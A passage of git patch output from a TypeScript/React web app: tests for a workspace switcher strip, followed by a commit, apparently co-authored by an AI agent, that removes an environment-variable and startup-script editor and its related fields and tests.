avatarUrl: null, + platformOperator: false, + }, + membership, + org: acme, + organizations: [{ membership, org: acme }, { membership, org: side }], +}; + +function workspace(overrides: Partial = {}): CloudWorkspaceModel { + return { + id: "workspace-one", + ownerMembershipId: "member-owner", + canControl: true, + shared: false, + owner: { name: "Ada Owner", avatarUrl: null }, + accessRole: "owner", + orgShareRole: null, + serverName: "design-team", + title: "design-team", + machineType: "cx23@fsn1", + volumeId: null, + environmentConfigured: false, + startupConfigured: false, + lifecycleStatus: "running", + errorDetail: null, + retryAction: null, + createdAt: 1_700_000_000_000, + updatedAt: 1_700_000_005_000, + connections: [], + agentDefault: "claude", + ...overrides, + }; +} + +function strip(overrides: Partial[0]> = {}) { + return ( + ()} + pendingRequestCount={0} + surfacesEnabled + onSelectWorkspace={() => undefined} + onCreateWorkspace={() => undefined} + onOpenPanel={() => undefined} + onSwitchOrg={() => undefined} + onCreateOrg={() => undefined} + onOpenDrive={() => undefined} + onOpenSettings={() => undefined} + onCloseDrawer={() => undefined} + {...overrides} + /> + ); +} + +describe("workspaceCode", () => { + it("reads initials from a multi-word name and two letters from a single word", () => { + expect(workspaceCode("design-team")).toBe("DT"); + expect(workspaceCode("engineering")).toBe("EN"); + expect(workspaceCode("research sandbox")).toBe("RS"); + expect(workspaceCode("a b c d")).toBe("ABC"); + expect(workspaceCode(" ")).toBe("··"); + }); +}); + +describe("workspace strip", () => { + it("draws one tile per workspace, ringing the active one", async () => { + const view = await render(strip({ + workspaces: [ + workspace(), + workspace({ id: "workspace-two", title: "engineering", lifecycleStatus: "parked" }), + ], + })); + const tiles = [...view.container.querySelectorAll( + '[aria-label="Workspaces"] button', + )]; + expect(tiles.map(({ textContent }) => textContent)).toEqual(["DT", "EN", ""]); + expect(tiles[0]?.getAttribute("aria-current")).toBe("page"); + expect(tiles[1]?.getAttribute("aria-current")).toBeNull(); + expect(tiles[1]?.className).toContain("shell-wtile--off"); + expect(tiles[2]?.getAttribute("aria-label")).toBe("Create workspace"); + await view.unmount(); + }); + + it("refuses to switch to a workspace the viewer cannot control", async () => { + const onSelectWorkspace = vi.fn(); + const view = await render(strip({ + workspaces: [workspace({ canControl: false, accessRole: "viewer", shared: true })], + onSelectWorkspace, + })); + const tile = view.container.querySelector( + 'button[aria-label="design-team"]', + ); + expect(tile?.disabled).toBe(true); + expect(tile?.title).toBe("design-team — shared by Ada Owner"); + await view.unmount(); + }); + + it("focuses a workspace surface without closing it again", async () => { + const onOpenPanel = vi.fn(); + const view = await render(strip({ + onOpenPanel, + openPanels: new Set(["files"]), + pendingRequestCount: 2, + })); + const surfaces = [...view.container.querySelectorAll( + '[aria-label="Workspace surfaces"] button', + )]; + expect(surfaces.map((button) => button.getAttribute("aria-label"))) + .toEqual(["Files", "teenyapps", "Connections"]); + expect(surfaces[0]?.getAttribute("aria-pressed")).toBe("true"); + expect(surfaces[2]?.textContent).toBe("2"); + await act(async () => surfaces[1]?.click()); + expect(onOpenPanel).toHaveBeenCalledWith("previews"); + await view.unmount(); + }); + + it("disables the surfaces when no workspace is open", async () => { + const view = await render(strip({ surfacesEnabled: false })); + const surfaces = [...view.container.querySelectorAll( + '[aria-label="Workspace surfaces"] button', + )]; + expect(surfaces.every((button) => button.disabled)).toBe(true); + await view.unmount(); + }); + + it("marks only the current organization and closes from a click anywhere outside", async () => { + const view = await render(strip()); + const menu = () => view.container.querySelector( + '[role="menu"][aria-label="Organizations"]', + ); + expect(menu()?.hidden).toBe(true); + + await act(async () => view.container.querySelector( + 'button[aria-label="Organization: Acme"]', + )?.click()); + expect(menu()?.hidden).toBe(false); + const checked = [...menu()!.querySelectorAll('[role="menuitemradio"]')] + .filter((item) => item.getAttribute("aria-checked") === "true") + .map(({ textContent }) => textContent); + expect(checked).toEqual(["Acme✓"]); + const other = menu()!.querySelector('[role="menuitemradio"][aria-checked="false"]'); + expect(other?.textContent).toBe("Side"); + + const backdrop = view.container.querySelector( + 'button[aria-label="Close organization menu"]', + ); + expect(backdrop).not.toBeNull(); + await act(async () => backdrop?.dispatchEvent(new MouseEvent("mousedown", { bubbles: true }))); + expect(menu()?.hidden).toBe(true); + expect(view.container.querySelector('button[aria-label="Close organization menu"]')).toBeNull(); + await view.unmount(); + }); + + it("reaches Drive and settings from the account menu", async () => { + const onOpenDrive = vi.fn(); + const onOpenSettings = vi.fn(); + const view = await render(strip({ onOpenDrive, onOpenSettings })); + const menu = () => view.container.querySelector( + '[role="menu"][aria-label="Account"]', + ); + expect(menu()?.hidden).toBe(true); + await act(async () => view.container.querySelector( + 'button[aria-label="Account: Person"]', + )?.click()); + expect(menu()?.hidden).toBe(false); + + const items = [...menu()!.querySelectorAll('[role="menuitem"]')]; + expect(items.map(({ textContent }) => textContent)) + .toEqual(["Drive", "Settings", "Ask us on Discord"]); + await act(async () => items[0]?.click()); + expect(onOpenDrive).toHaveBeenCalledOnce(); + + await act(async () => view.container.querySelector( + 'button[aria-label="Account: Person"]', + )?.click()); + await act(async () => menu()!.querySelectorAll('[role="menuitem"]')[1]?.click()); + expect(onOpenSettings).toHaveBeenCalledOnce(); + await view.unmount(); + }); +}); From fac9d2b63bb969944a5cb0aea41b0dccc954674a Mon Sep 17 00:00:00 2001 From: Claude Fable 5 Date: Sat, 29 Aug 2026 00:06:05 +0000 Subject: [PATCH 21/43] webapp: delete the environment and startup-script surface MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The guest runner is gone and the control-plane column drops with it, so the editor would have become a setting that silently does nothing. Deleted: `src/EnvironmentEditor.tsx` and both its mounts (the create dialog's Advanced section and the template screen's), the `environment` field on both GitHub connect drafts and its parser, the `environmentConfigured` / `startupConfigured` derivation in `api-adapter.ts` with the two Configuration rows in the details dialog that read it, and the matching fields on `CloudWorkspaceModel` and `WorkspaceRecord`. Neither the create body nor the template body carries an `environment` any more. 43 lines of now-dead CSS go too. Credential UI is untouched — a later pass owns it. The wire types in `packages/schema` are untouched: another agent owns that side. webapp 41 files / 339 tests green (three environment-editor tests are deleted with the surface); typecheck clean; lint baseline untouched; vite build clean. Co-Authored-By: Claude Fable 5 --- packages/webapp/src/CreateWorkspaceDialog.tsx | 22 --- packages/webapp/src/EnvironmentEditor.tsx | 133 ------------------ .../webapp/src/WorkspaceDetailsDialog.tsx | 6 - packages/webapp/src/api-adapter.ts | 4 - packages/webapp/src/connect-drafts.ts | 27 +--- .../webapp/src/create-workspace-dialog.css | 43 ------ .../webapp/src/files/CreateTemplateScreen.tsx | 34 +---- .../src/files/use-template-connect-draft.ts | 18 --- packages/webapp/src/protocol.ts | 2 - packages/webapp/src/workspace-store.ts | 10 -- .../test/WorkspaceDetailsDialog.test.tsx | 4 - packages/webapp/test/api-adapter.test.ts | 2 - .../webapp/test/create-workspace.test.tsx | 71 +--------- packages/webapp/test/template-screen.test.tsx | 123 +--------------- packages/webapp/test/workspace-strip.test.tsx | 2 - 15 files changed, 11 insertions(+), 490 deletions(-) delete mode 100644 packages/webapp/src/EnvironmentEditor.tsx diff --git a/packages/webapp/src/CreateWorkspaceDialog.tsx b/packages/webapp/src/CreateWorkspaceDialog.tsx index 9d83b9d5..7dd8ea5b 100644 --- a/packages/webapp/src/CreateWorkspaceDialog.tsx +++ b/packages/webapp/src/CreateWorkspaceDialog.tsx @@ -22,11 +22,6 @@ import { InlineComputeCredentialSetup } from './InlineComputeCredentialSetup'; import { OutlinedLoadingRows } from './LoadingSkeleton'; import { MachineCatalogGrid, machineTypeLabel } from './MachineCatalogGrid'; import { TemplateRepoPicker } from './files/TemplateRepoPicker'; -import { - EMPTY_WORKSPACE_ENVIRONMENT, - EnvironmentEditor, - populatedEnvironment, -} from './EnvironmentEditor'; export type CreateWorkspaceDialogInput = CreateWorkspaceRequest; @@ -93,9 +88,6 @@ export function CreateWorkspaceDialog({ const [selectedMachineType, setSelectedMachineType] = useState(''); const [loading, setLoading] = useState(true); const [loadError, setLoadError] = useState(null); - const [environment, setEnvironment] = useState( - restoredDraft?.environment ?? EMPTY_WORKSPACE_ENVIRONMENT, - ); const [agentRuleId, setAgentRuleId] = useState( restoredDraft?.agentRuleId ?? null, ); @@ -141,7 +133,6 @@ export function CreateWorkspaceDialog({ if (template === undefined) return; seededTemplate.current = true; setSelectedTemplateId(template.id); - setEnvironment(restoredDraft?.environment ?? template.environment ?? EMPTY_WORKSPACE_ENVIRONMENT); setAgentRuleId(restoredDraft === null ? template.agentRuleId : restoredDraft.agentRuleId); }, [templates, restoredDraft, seededTemplateId]); @@ -204,7 +195,6 @@ export function CreateWorkspaceDialog({ // The blank tile and the toggle-off share this, so the two paths cannot drift. const clearTemplate = () => { setSelectedTemplateId(null); - setEnvironment(EMPTY_WORKSPACE_ENVIRONMENT); setAgentRuleId(null); }; // The picker is hidden under a template, and the control plane refuses a @@ -212,14 +202,12 @@ export function CreateWorkspaceDialog({ // out of sight to be sent later. const selectTemplate = (template: WorkspaceTemplateView) => { setSelectedTemplateId(template.id); - setEnvironment(template.environment ?? EMPTY_WORKSPACE_ENVIRONMENT); setAgentRuleId(template.agentRuleId); setRepos([]); }; const storeDraft = () => { storeWorkspaceConnectDraft({ templateId: selectedTemplateId, - environment, agentRuleId, repos, }); @@ -238,9 +226,6 @@ export function CreateWorkspaceDialog({ templateId: selectedTemplate.id, orgShareRole: 'editor', }; - const configured = populatedEnvironment(environment); - if (configured !== undefined) input.environment = configured; - else if (selectedTemplate.environment !== null) input.environment = environment; // Sent whenever it differs from what the template already carries, so an // explicit "back to Default" is not read as "leave the template's rule". if (agentRuleId !== selectedTemplate.agentRuleId) input.agentRuleId = agentRuleId; @@ -262,8 +247,6 @@ export function CreateWorkspaceDialog({ if (volumeId) input.volumeId = volumeId; if (orgShareRole === 'editor' || orgShareRole === 'viewer') input.orgShareRole = orgShareRole; if (repos.length > 0) input.repos = repos; - const configured = populatedEnvironment(environment); - if (configured !== undefined) input.environment = configured; if (agentRuleId !== null) input.agentRuleId = agentRuleId; onSubmit(input); }; @@ -540,11 +523,6 @@ export function CreateWorkspaceDialog({
Advanced
- 0 || environment.startupScript !== null - ? environment - : undefined; -} - -export function EnvironmentEditor({ - initial, - onChange, -}: { - initial: WorkspaceEnvironment; - onChange: (environment: WorkspaceEnvironment) => void; -}) { - const initialRows = Object.entries(initial.env).map(([name, value], id) => ({ - id, - name, - value, - })); - const [rows, setRows] = useState(initialRows.length > 0 - ? initialRows - : [{ id: 0, name: '', value: '' }]); - const [startupScript, setStartupScript] = useState(initial.startupScript ?? ''); - const nextId = useRef(rows.length); - - const publish = (nextRows: EnvironmentRow[], script: string) => { - onChange({ - env: Object.fromEntries(nextRows - .filter(({ name }) => name !== '') - .map(({ name, value }) => [name, value])), - startupScript: script === '' ? null : script, - }); - }; - - const updateRow = (id: number, field: 'name' | 'value', value: string) => { - const next = rows.map((row) => row.id === id ? { ...row, [field]: value } : row); - setRows(next); - publish(next, startupScript); - }; - - const removeRow = (id: number) => { - const next = rows.filter((row) => row.id !== id); - const retained = next.length > 0 ? next : [{ id: nextId.current++, name: '', value: '' }]; - setRows(retained); - publish(retained, startupScript); - }; - - // The Advanced
shell lives in the create screens, so this editor - // and AgentRulesPicker sit inside one collapsed section rather than two. - return ( - <> -
-

Environment variables

-

Config only — not for secrets. Use integrations for secrets.

-
-
- {rows.map((row, index) => ( -
- updateRow(row.id, 'name', event.currentTarget.value)} - /> - updateRow(row.id, 'value', event.currentTarget.value)} - /> - -
- ))} -
- -